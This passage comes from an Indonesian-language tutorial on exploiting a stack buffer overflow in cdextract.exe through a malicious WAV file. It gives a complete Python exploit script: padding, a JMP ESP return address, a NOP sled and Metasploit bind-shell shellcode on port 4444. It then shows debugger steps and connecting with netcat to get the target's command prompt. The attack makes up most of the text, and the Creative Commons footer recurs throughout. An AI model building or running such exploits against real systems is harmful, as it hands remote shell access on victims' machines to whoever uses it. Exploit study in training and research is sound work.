xe6\x52""\x6e\xfb\x9f\x8e\x0e\x04\x4a\x0b\x3e\x4f\xd6\x3a\xd7\x16\x83""\x7e\xba\xa8\x7e\xbc\xc3\x2a\x8a\x3d\x30\x32\xff\x38\x7c\xf4""\xec\x30\xed\x91\x12\xe6\x0e\xb0";root@infidel:~#
Kita edit lagi python scriptnya:
#!/usr/bin/python
filename = "skeleton-calc.wav"
junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x37\x62\xC8\x7C" # 7CC86237 FFE4 JMP ESPnops = "\x90" * 16 # NOP
# metasploit payload shellcode# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -t c# size 368 bytes
shellcode = ("\xba\xb4\x91\x56\x34\xd9\xea\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
This work is licensed under a Creative Commons.
"\x56\x83\xed\xfc\x31\x55\x0f\x03\x55\xbb\x73\xa3\xc8\x2b\xfa""\x4c\x31\xab\x9d\xc5\xd4\x9a\x8f\xb2\x9d\x8e\x1f\xb0\xf0\x22""\xeb\x94\xe0\xb1\x99\x30\x06\x72\x17\x67\x29\x83\x99\xa7\xe5""\x47\xbb\x5b\xf4\x9b\x1b\x65\x37\xee\x5a\xa2\x2a\x00\x0e\x7b""\x20\xb2\xbf\x08\x74\x0e\xc1\xde\xf2\x2e\xb9\x5b\xc4\xda\x73""\x65\x15\x72\x0f\x2d\x8d\xf9\x57\x8e\xac\x2e\x84\xf2\xe7\x5b""\x7f\x80\xf9\x8d\xb1\x69\xc8\xf1\x1e\x54\xe4\xfc\x5f\x90\xc3""\x1e\x2a\xea\x37\xa3\x2d\x29\x45\x7f\xbb\xac\xed\xf4\x1b\x15""\x0f\xd9\xfa\xde\x03\x96\x89\xb9\x07\x29\x5d\xb2\x3c\xa2\x60""\x15\xb5\xf0\x46\xb1\x9d\xa3\xe7\xe0\x7b\x02\x17\xf2\x24\xfb""\xbd\x78\xc6\xe8\xc4\x22\x8f\xdd\xfa\xdc\x4f\x49\x8c\xaf\x7d""\xd6\x26\x38\xce\x9f\xe0\xbf\x31\x8a\x55\x2f\xcc\x34\xa6\x79""\x0b\x60\xf6\x11\xba\x08\x9d\xe1\x43\xdd\x32\xb2\xeb\x8d\xf2""\x62\x4c\x7d\x9b\x68\x43\xa2\xbb\x92\x89\xd5\xfb\x5c\xe9\xb6""\x6b\x9d\x0d\x29\x30\x28\xeb\x23\xd8\x7c\xa3\xdb\x1a\x5b\x7c""\x7c\x64\x89\xd0\xd5\xf2\x85\x3e\xe1\xfd\x15\x15\x42\x51\xbd""\xfe\x10\xb9\x7a\x1e\x27\x94\x2a\x69\x10\x7f\xa0\x07\xd3\xe1""\xb5\x0d\x83\x82\x24\xca\x53\xcc\x54\x45\x04\x99\xab\x9c\xc0""\x37\x95\x36\xf6\xc5\x43\x70\xb2\x11\xb0\x7f\x3b\xd7\x8c\x5b""\x2b\x21\x0c\xe0\x1f\xfd\x5b\xbe\xc9\xbb\x35\x70\xa3\x15\xe9""\xda\x23\xe3\xc1\xdc\x35\xec\x0f\xab\xd9\x5d\xe6\xea\xe6\x52""\x6e\xfb\x9f\x8e\x0e\x04\x4a\x0b\x3e\x4f\xd6\x3a\xd7\x16\x83""\x7e\xba\xa8\x7e\xbc\xc3\x2a\x8a\x3d\x30\x32\xff\x38\x7c\xf4""\xec\x30\xed\x91\x12\xe6\x0e\xb0")
espdata = "\x90" * (5000 - len(junk+eip+nops+shellcode)) # sisa bytes
file=open(filename,'w')file.write(junk+eip+nops+shellcode+espdata)print "[+] File",filename,"created successfully.."file.close()
Jalankan lagi script diatas, maka akan menghasilkan file skeleton-calc.wav. Untuk memastikan bahwa
exploit kita berjalan dengan baik, ada baiknya menjalankan exploit tetap menggunakan debugger.
Attach lagi proses cdextract.exe, pasang Breakpoint pada alamat 7CC86237 dan perhatikan eksekusi
shellcode.
Tekan F7 untuk mengikuti proses eksekusi, lakukan hal yang sama seperti pada proses shellcode calculator.
Pada awal shellcode (CLD), tekan F9 dan proses seperti terhenti. Namun apabila kita melihat dengan
netstat, terlihat port 4444 sedang terbuka.
This work is licensed under a Creative Commons.
Apa yang terjadi ketika kita melakukan koneksi ke port 4444 tersebut dengan netcat?
Owned! Kita berhasil mendapatkan command prompt komputer target.
P e n u t u p
This work is licensed under a Creative Commons.
Penjelasan diatas merupakan tahap awal dalam proses eksploitasi program. Beberapa tehnik yang lain
seperti SEH Based Overflow, bypass SafeSEH, bagaimana menghandle Unicode Stack Overflow, Heap
Overflow, Bypass ASLR and DEP, serta beberapa tehnik untuk meloloskan diri dari space yang kecil.
Tehnik-tehnik diatas sebenarnya hanya merupakan trik bagaimana memanfaatkan celah yang ada.
Setelah semakin sering bermain dengan exploit, bahasa assembly, dan scripting saya yakin sebuah pola
kreatifitas akan terbentuk dengan sendirinya. Belajar untuk menganalisa satu-per-satu proses yang sedang
berjalan pada akhirnya juga merupakan inti dari hacking & security yang selama ini kita geluti.
Semoga dengan adanya Hitz ini semakin memacu teman-teman untuk lebih kreatif, dan menghargai hasil
yang dikeluarkan oleh otak dan niat kita.
This work is licensed under a Creative Commons.
top related